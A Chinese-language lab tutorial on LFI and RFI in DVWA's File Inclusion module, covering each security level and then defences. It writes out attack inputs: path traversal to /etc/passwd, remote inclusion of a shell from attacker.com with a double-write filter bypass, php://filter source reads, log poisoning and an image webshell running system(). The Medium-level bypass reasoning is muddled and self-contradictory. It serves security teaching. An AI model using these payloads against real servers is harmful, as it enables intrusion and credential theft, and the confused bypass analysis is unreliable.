1. 项目概述从靶场实战理解文件包含漏洞的本质文件包含漏洞尤其是本地文件包含LFI和远程文件包含RFI是Web安全领域一个经典且危害巨大的漏洞类型。很多刚入门安全测试的朋友可能在理论上学过“通过包含恶意文件执行代码”这个概念但具体到代码层面它是如何发生的、在实际的渗透测试中如何利用、以及开发人员又该如何有效防御这些细节往往模糊不清。这正是DVWADamn Vulnerable Web Application这个靶场的价值所在——它用一个极度简化的环境把复杂的漏洞原理和利用过程清晰地呈现在我们面前。简单来说这个实战项目就是利用DVWA靶场的“File Inclusion”模块亲手复现LFI和RFI漏洞。我们会从最基础的漏洞原理讲起然后一步步在靶场中从低级Low到高级Impossible安全级别进行攻击复现观察不同防御级别的代码差异最后总结出真正有效的防御方案。这不仅仅是一个“通关教程”更是一次深入理解PHP文件包含机制、攻击者思维和防御者视角的完整训练。无论你是刚开始接触Web安全的学生还是希望巩固基础的开发人员通过这个靶场实战你都能获得对文件包含漏洞立体而深刻的认识。2. 漏洞原理深度拆解为什么include/require会成为漏洞要打好实战必须先吃透原理。文件包含漏洞的核心在于程序在动态包含文件时未对用户输入的文件名或路径进行充分验证和过滤导致攻击者可以操控包含的目标。2.1 PHP文件包含函数的工作机制PHP提供了四个主要的文件包含函数include、require、include_once、require_once。它们在失败时的处理方式不同include产生警告require产生致命错误但核心功能一致将指定文件的内容读取并插入到当前脚本的执行流中。关键在于如果被包含的文件是PHP代码这些代码会被执行。想象一下你有一个网站不同语言的页面结构相同只是文字内容不同。聪明的做法是做一个模板然后把英文内容en.php、中文内容cn.php等文件包含进来。代码可能这样写$language $_GET[lang]; // 用户通过?langen选择语言 include(./languages/ . $language . .php);这段代码的初衷是好的动态加载内容。但问题就出在$language这个变量完全由用户控制。攻击者不再老老实实输入en或cn而是输入../../../../etc/passwd呢拼接后路径可能变成./languages/../../../../etc/passwd这就会向上跳转目录最终包含到系统的密码文件。这就是LFI的典型利用。2.2 LFI与RFI的核心区别与利用条件本地文件包含LFI顾名思义包含的是服务器本地的文件。就像上面的例子攻击者通过目录遍历../等手法读取或执行服务器上的敏感文件如/etc/passwd、/proc/self/environ、Web应用的配置文件config.php、日志文件等。LFI的利用相对直接因为目标文件就在服务器上。远程文件包含RFI这是更危险的一种情况攻击者可以诱使服务器去包含一个远程URL上的文件如http://attacker.com/shell.txt。如果这个远程文件包含PHP代码服务器会下载并执行它相当于攻击者可以直接在目标服务器上植入Webshell。RFI的利用需要更苛刻的条件PHP配置中的allow_url_include选项必须为On默认通常是Off。在实战中遇到RFI的机会比LFI少但一旦存在危害极大。两者的根本区别在于包含文件的来源是“本地文件系统”还是“远程URL”。从攻击者视角看LFI是“读取与执行已有文件”RFI是“注入并执行全新文件”。2.3 常见敏感路径与利用技巧知道原理后攻击者会尝试包含哪些文件呢这需要一些经验和对系统的了解。系统敏感文件Linux/Unix:/etc/passwd: 查看系统用户列表是LFI测试的“经典Hello World”。/etc/shadow: 存储用户哈希密码但通常需要root权限。/proc/self/environ: 包含当前进程的环境变量。如果Web服务器如Apache通过环境变量传递了User-Agent、Referer等信息攻击者可以通过修改HTTP头将PHP代码注入到环境变量中然后通过LFI包含/proc/self/environ来执行代码。这是一种经典的“日志污染”利用链的起点。/proc/self/fd/[数字]: 文件描述符有时可能包含有用信息。Windows:C:\Windows\System32\drivers\etc\hosts: 主机文件。C:\boot.ini: 查看系统启动信息旧系统。C:\Windows\win.ini: 系统配置文件。Web应用相关文件配置文件如config.php,database.php,settings.inc.php。这些文件常有数据库用户名和密码。日志文件如Apache的access.log,error.log。攻击者可以将PHP代码作为URL的一部分或User-Agent访问网站这些代码会被记录到日志中然后通过LFI包含日志文件来执行代码。会话文件/tmp/sess_[sessionid]。PHP会话文件可能包含序列化的用户数据。上传的临时文件配合文件上传功能有时可以包含上传的临时文件路径。利用技巧空字节截断%00在PHP版本低于5.3.4且magic_quotes_gpc为Off时在文件名后添加%00空字节可以截断后面的字符串。例如如果代码强制添加后缀.phpinclude($_GET[page] . .php);攻击者可以传入../../etc/passwd%00拼接后成为../../etc/passwd%00.php%00会告诉系统字符串在此结束从而成功包含/etc/passwd。注意这个漏洞在现代PHP版本中已修复。路径遍历../使用../来向上跳转目录突破预设的目录限制。绝对路径直接使用绝对路径如/etc/passwd尝试包含。注意在实际渗透测试中读取系统文件必须获得授权。在自家搭建的靶场或获得明确授权的环境中进行测试是唯一合法且道德的途径。3. DVWA靶场环境搭建与配置要点工欲善其事必先利其器。复现漏洞前一个稳定、隔离的测试环境是必不可少的。DVWA靶场因其集成度高、漏洞典型而成为首选。3.1 快速搭建DVWA的几种方式对于初学者我强烈推荐使用Docker方式部署它能最大程度避免环境冲突一键启动。使用Docker推荐# 拉取官方镜像 docker pull vulnerables/web-dvwa # 运行容器将容器80端口映射到宿主机的8080端口 docker run -d -p 8080:80 --name dvwa vulnerables/web-dvwa执行后在浏览器访问http://你的机器IP:8080即可。首次访问需要点击页面底部的Create / Reset Database按钮初始化数据库。传统集成环境如XAMPP、PHPStudy下载DVWA源码从GitHub:https://github.com/digininja/DVWA。将其解压到Web服务器根目录如XAMPP的htdocs文件夹。重命名config/config.inc.php.dist为config/config.inc.php。根据你的数据库信息修改该配置文件中的数据库连接设置$_DVWA[ db_user ]$_DVWA[ db_password ]。确保PHP环境满足要求如allow_url_include在后续实验中可能需要开启。3.2 关键安全级别设置与PHP配置DVWA的精髓在于其可调节的安全级别它模拟了不同强度的防御措施。Low毫无防御。代码直接使用未经任何处理的用户输入。Medium实现了一些基础的过滤但很容易被绕过。High实现了较强的防御通常需要更巧妙的绕过技巧或结合其他漏洞。Impossible理论上近乎完美的安全代码展示了最佳实践。为了复现RFI漏洞我们可能需要修改PHP配置。在Docker环境中可以进入容器修改docker exec -it dvwa /bin/bash # 编辑php.ini找到allow_url_include find / -name php.ini 2/dev/null # 查找php.ini位置通常在 /etc/php/*/apache2/php.ini vi /etc/php/8.2/apache2/php.ini # 根据找到的路径编辑找到allow_url_include这一行将其值改为On。然后重启Apache服务service apache2 restart或直接重启容器。在本地PHPStudy等环境中可以直接在图形界面中修改php.ini文件。实操心得使用Docker时修改容器内的配置在容器重启后可能会丢失。更稳妥的做法是在运行容器时将宿主机上修改好的php.ini文件挂载到容器内对应路径例如docker run -d -p 8080:80 -v /你的路径/php.ini:/etc/php/8.2/apache2/php.ini vulnerables/web-dvwa。这样配置就持久化了。4. 漏洞复现实战从Low到High的攻防演练现在让我们进入DVWA将安全级别调至Low开始真正的实战。理解每一层防御是如何被绕过是学习防御的关键。4.1 Low安全级别毫无防护的“裸奔”代码在Low级别下查看源码点击“View Source”?php $file $_GET[page]; // 直接获取用户输入 ?代码简单到令人吃惊。$file变量直接来自$_GET[page]没有任何过滤。这意味着我们可以完全控制包含的文件路径。LFI利用在页面中点击“File Inclusion”模块你会看到它默认包含了include.php等文件。尝试在URL参数中直接进行目录遍历?page../../../../etc/passwd如果系统是Linux你很可能会看到用户列表的内容被显示在网页上。这说明LFI漏洞真实存在。RFI利用首先确保allow_url_includeOn。准备一个远程文本文件里面包含PHP代码。例如在另一台服务器或本地用Python临时起个HTTP服务上创建shell.txt内容为?php phpinfo(); ?。在DVWA中尝试包含这个远程URL?pagehttp://你的服务器IP/shell.txt如果成功页面会显示phpinfo()的信息证明服务器执行了远程文件中的PHP代码RFI利用成功。这个级别纯粹是为了演示漏洞最原始的样子在实际应用中几乎不可能出现但它奠定了我们理解漏洞的基础。4.2 Medium安全级别初级的、可被绕过的过滤切换到Medium级别查看源码?php $file $_GET[page]; // 输入过滤 $file str_replace( array( http://, https:// ), , $file ); // 目录遍历过滤 $file str_replace( array( ../, ..\\ ), , $file ); ?代码尝试进行防御过滤了http://和https://试图阻止RFI。过滤了../和..\Windows路径试图阻止目录遍历。然而这种过滤非常幼稚存在典型的双写绕过问题。LFI绕过 过滤函数str_replace是直接替换且只执行一次。如果我们输入..././它会把中间的../替换成空结果就变成了./而./代表当前目录通常无害。但关键是我们可以使用....//。经过替换中间的../被移除剩下的部分拼接起来正好又变成了../尝试输入?page....//....//....//....//etc/passwd代码处理过程....//- 移除../-./。等等不对。让我们仔细分析字符串....//查找../没有连续的../。所以它不会被替换。我们需要换一种思路。更简单的绕过因为过滤的是../我们可以尝试使用绝对路径。在Linux下直接输入?page/etc/passwd。或者如果知道文件相对Web根目录的路径也可以直接使用。但通常Medium级别下直接使用绝对路径可能被其他机制限制。经典的绕过方式是使用空字节截断如果PHP版本允许但这里我们演示另一种因为只过滤了一次我们可以用..././吗实际上..././替换掉../后变成./无法向上跳转。Medium级别对LFI的防御通过简单的str_replace其实比较难绕过除非结合其他漏洞或服务器特定配置。但DVWA的Medium级别设计上可能留了其他入口有时直接使用../../etc/passwd可能因为路径计算问题依然成功这取决于Web根目录的位置。一个更可靠的测试是尝试包含file://协议。file://协议允许直接访问本地文件系统且不受../过滤影响。尝试?pagefile:///etc/passwd。如果成功说明过滤形同虚设。RFI绕过 过滤了http://我们可以使用其他协议或变种。使用http://的变体HtTp://大小写混合。str_replace是大小写敏感的所以不会被匹配。使用其他协议如果服务器配置支持可以尝试ftp://https://注意代码只过滤了http://和https://等等代码中过滤了https://吗是的原代码是str_replace( array( http://, https:// ), , $file )所以https://也被过滤了。但我们可以用HTTPS://全大写绕过。使用双写绕过输入hthttp://tp://attacker.com/shell.txt。代码会把中间的http://替换为空结果剩下http://attacker.com/shell.txt成功绕过。注意事项在实际测试中Medium级别的过滤往往因代码实现不同而有不同的绕过方式。关键在于理解过滤逻辑是“查找并替换一次”然后思考如何构造输入使得过滤后的结果仍然是我们想要的恶意字符串。这需要一些创造力和对字符串操作的深刻理解。4.3 High安全级别白名单机制的缺陷与极限绕过High级别的源码通常会上强度引入白名单机制?php $file $_GET[page]; if ( !fnmatch( file*, $file ) $file ! include.php ) { echo ERROR: File not found!; exit; } ?这段代码使用了fnmatch函数进行模式匹配要求$file必须以file开头或者等于include.php。这看起来像是一个白名单只允许包含file开头的文件但实际上它只检查了开头字符串仍然存在问题。利用方式利用file协议既然要求以file开头而file://协议正好符合这个要求我们可以尝试?pagefile:///etc/passwd。这会将file://协议后面的路径作为本地文件路径来包含。如果服务器配置允许file://包装器默认通常允许并且Web进程有权限读取/etc/passwd那么LFI利用依然成功。这暴露了白名单设计不严谨的问题只检查前缀没有检查完整的协议或路径合法性。利用目录遍历即使前缀是file我们仍然可以在后面进行目录遍历吗例如?pagefile../../../../etc/passwd。这取决于代码的具体实现。如果代码在检查前缀后直接将其传递给include函数那么include(file../../../../etc/passwd)会尝试包含一个名为file../../../../etc/passwd的本地文件这个文件显然不存在。所以关键是要让整个字符串在检查时合法在执行时又能解析为目标路径。file://协议是一个完美的“桥梁”。高级技巧——结合文件上传或日志注入 在High级别下直接包含任意文件可能被严格限制。这时攻击链可能会变长。例如文件上传包含如果网站存在文件上传功能且上传后的文件路径和名称可知或可预测我们可以上传一个图片马图片中包含PHP代码然后通过文件包含漏洞去包含这个图片文件。由于包含函数会执行文件中的PHP代码从而获得Webshell。在High级别包含路径被限制但如果上传的文件保存在以file开头的目录下或者我们能控制上传文件名以file开头就可能成功。日志注入包含如前所述通过LFI包含日志文件如/var/log/apache2/access.log并在User-Agent或Referer中注入PHP代码。我们需要让包含的路径满足白名单。如果日志文件的绝对路径是/var/log/apache2/access.log它不以file开头。但我们可以尝试使用file://协议吗file:///var/log/apache2/access.log是以file开头的。因此如果服务器允许file://协议且我们能猜到或探测到日志文件的绝对路径这种攻击依然可行。这个级别告诉我们即使采用了白名单思路如果实现不严谨如只做前缀匹配、未考虑各种协议包装器漏洞依然存在。真正的安全需要多维度、深层次的检查。5. 防御方案解析从Impossible级别看最佳实践最后我们看看DVWA的Impossible级别是如何彻底杜绝文件包含漏洞的。查看源码?php $file $_GET[page]; // 只允许包含“include.php”这个文件 if ( $file ! include.php ) { echo ERROR: File not found!; exit; } ?或者更常见的Impossible级别代码是使用一个硬编码的白名单数组?php $whitelist array(file1.php, file2.php, file3.php); $page $_GET[page]; if (in_array($page, $whitelist)) { include($page); } else { echo Invalid page requested.; exit; } ?防御核心思想白名单机制这是最有效、最根本的防御手段。明确列出所有允许被包含的文件任何不在名单内的输入都被拒绝。Impossible级别通常只允许包含一个固定的文件如include.php或者一个非常有限的白名单。避免动态包含如果业务逻辑必须动态包含也应尽量避免直接使用用户输入作为文件名。可以使用一个映射表将用户选择如数字ID、固定字符串映射到实际的安全文件路径。$pageMap array( home ./pages/home.php, about ./pages/about.php, contact ./pages/contact.php ); $key $_GET[page]; if (array_key_exists($key, $pageMap)) { include($pageMap[$key]); } else { include(./pages/error.php); }关闭危险配置在PHP生产环境中务必在php.ini中设置allow_url_include Off禁用远程文件包含allow_url_fopen Off如果业务不需要也建议关闭增加安全性open_basedir设置PHP可访问的目录范围将其限制在Web应用必要的目录内可以有效防止目录遍历读取系统文件输入验证与规范化如果无法完全使用白名单必须对用户输入进行严格验证。验证检查输入是否只包含预期的字符如字母、数字、下划线、短横线。规范化使用realpath()或basename()函数。realpath()可以解析所有符号链接和../返回绝对路径然后你可以检查这个绝对路径是否在以Web根目录为起点的子目录内。注意realpath()在文件不存在时返回false需谨慎使用。basename()可以提取路径中的文件名部分去除目录遍历字符但需确保只包含预期目录下的文件。代码审计与安全开发将安全作为开发流程的一部分。在代码审查中重点关注所有包含用户输入的文件操作函数include,require,file_get_contents,fopen等。6. 实战拓展漏洞组合利用与高级攻击思路在真实世界中攻击很少是单一漏洞的利用。文件包含漏洞常常成为攻击链中的关键一环与其他漏洞组合产生更大威力。6.1 LFI与文件上传的组合拳这是非常经典的组合。假设一个网站存在文件上传漏洞允许上传图片但会对文件内容进行简单检查如检查文件头或重命名防止直接上传.php文件。同时存在LFI漏洞但可能受到一定限制如需要特定目录、特定后缀。攻击流程攻击者上传一个“图片马”即一个真正的图片文件如JPEG但在文件末尾附加了一段PHP代码如?php system($_GET[cmd]);?。有些上传检测只检查文件头魔数对于文件末尾的额外内容不会处理。上传后服务器将文件保存在一个可访问的路径下例如/uploads/avatar_12345.jpg。攻击者利用LFI漏洞去包含这个图片文件?page./uploads/avatar_12345.jpg。PHP的include函数会读取这个文件。由于文件以合法的图片内容开头PHP解释器会忽略前面的二进制数据直到遇到?php ... ?标签然后执行其中的代码。这样攻击者就通过图片文件获得了Webshell。防御方法对上传文件进行严格的重命名如使用随机哈希值作为文件名避免路径被预测。将上传目录设置为不可执行。通过Web服务器配置如Apache的php_admin_flag engine off指令或文件系统权限确保上传目录下的文件不会被当作PHP脚本解析。存储上传文件的路径绝不直接暴露给用户通过后端脚本读取并输出文件内容。对上传文件进行二次渲染如图片压缩、裁剪这可以破坏附加在文件末尾的恶意代码。6.2 LFI与日志注入的利用链当无法上传文件时服务器的日志文件可能成为注入代码的载体。攻击流程攻击者发现目标存在LFI漏洞可以包含日志文件如Apache的/var/log/apache2/access.log。攻击者向目标网站发送一个HTTP请求并在User-Agent或Referer等头部字段中插入PHP代码例如User-Agent: ?php phpinfo(); ?。这个请求会被记录到access.log中日志条目可能类似192.168.1.100 - - [日期] GET /index.php HTTP/1.1 200 1234 ?php phpinfo(); ?。攻击者利用LFI漏洞包含这个日志文件?page../../../var/log/apache2/access.log。服务器读取日志文件当遇到?php phpinfo(); ?时会将其作为PHP代码执行从而在响应中输出phpinfo()信息。防御方法最根本的仍是修复LFI漏洞。将Web日志文件存储在Web根目录之外避免通过Web直接或间接访问。对日志内容进行过滤或转义但这种方法成本较高通常不是首选。6.3 利用PHP内置协议进行信息读取即使不能执行代码LFI也可以用来读取服务器上的敏感源代码帮助攻击者进行下一步渗透。PHP内置的过滤器协议php://filter在这里非常有用。利用方式 攻击者无法直接通过包含.php文件来查看其源代码因为包含时PHP代码会被执行。但是使用php://filter可以先将文件内容进行编码转换如Base64编码然后再包含这样得到的是编码后的文本而非执行结果。?pagephp://filter/convert.base64-encode/resourceconfig.php这行代码会读取config.php文件的内容并将其进行Base64编码后输出。攻击者只需将输出的Base64字符串解码即可获得config.php的完整源代码其中可能包含数据库密码等关键信息。防御方法同样根除LFI漏洞是首要任务。确保配置文件、密钥文件等敏感信息存储在Web根目录之外。对配置文件中的密码进行加密即使被读取也无法直接使用。7. 防御体系构建超越代码层面的思考修复一个漏洞点容易构建一个安全的体系很难。对于文件包含漏洞乃至所有Web安全漏洞我们需要从更宏观的视角来构建防御。7.1 安全开发生命周期SDL集成安全不应是开发完成后才考虑的事情。将安全活动集成到软件开发生命周期的每个阶段需求阶段明确安全需求例如“所有用户输入必须经过验证”。设计阶段进行威胁建模识别“文件包含”可能发生的场景并设计相应的安全控制如白名单架构。编码阶段使用安全的编码规范对开发者进行安全培训使用静态代码分析工具SAST扫描类似include($_GET[‘page’])的不安全代码模式。测试阶段进行动态应用安全测试DAST和渗透测试主动寻找LFI/RFI漏洞。部署与运维阶段配置安全的服务器环境如open_basedir,disable_functions定期进行漏洞扫描和更新。7.2 纵深防御策略不要依赖单一防线。即使应用层代码存在缺陷其他层面的防御也能减缓或阻止攻击。网络层使用WAFWeb应用防火墙。现代的WAF通常具备检测和阻断常见攻击模式如路径遍历../、RFI特征URL的能力可以为存在漏洞的旧系统提供临时保护。系统层最小权限原则运行Web服务的用户如www-data,apache应具有尽可能低的权限。确保其不能读取/etc/shadow等关键系统文件。文件系统权限严格设置Web根目录及其子目录的读写执行权限。上传目录只给写权限不给执行权限。容器化/虚拟化将应用运行在容器或虚拟机中限制其访问宿主机的文件系统。运行时保护使用RASP运行时应用自我保护技术监控应用运行时的行为一旦检测到异常的include操作如包含/etc/passwd可以实时阻断。7.3 监控与应急响应假设防御被突破快速的检测和响应至关重要。日志监控集中收集和分析Web服务器错误日志、应用日志。频繁出现的包含错误如“No such file or directory”尝试包含奇怪路径可能是攻击探测的信号。文件完整性监控监控Web目录下核心文件如index.php,config.php的变更防止Webshell被写入。制定应急预案一旦确认存在文件包含漏洞并被利用应急预案应包括隔离受影响系统、排查入侵范围、修复漏洞、清除后门、恢复服务、取证分析等步骤。文件包含漏洞是一个很好的切入点它像一面镜子映照出Web应用安全在代码设计、服务器配置和运维管理等多个层面的问题。通过DVWA靶场的实战我们从攻击者的角度理解了漏洞的成因和利用手法这恰恰是为了能更好地站在防御者的立场构建更坚固的安全防线。真正的安全始于对漏洞每一处细节的深刻认知成于将安全思维融入开发和运维的每一个环节。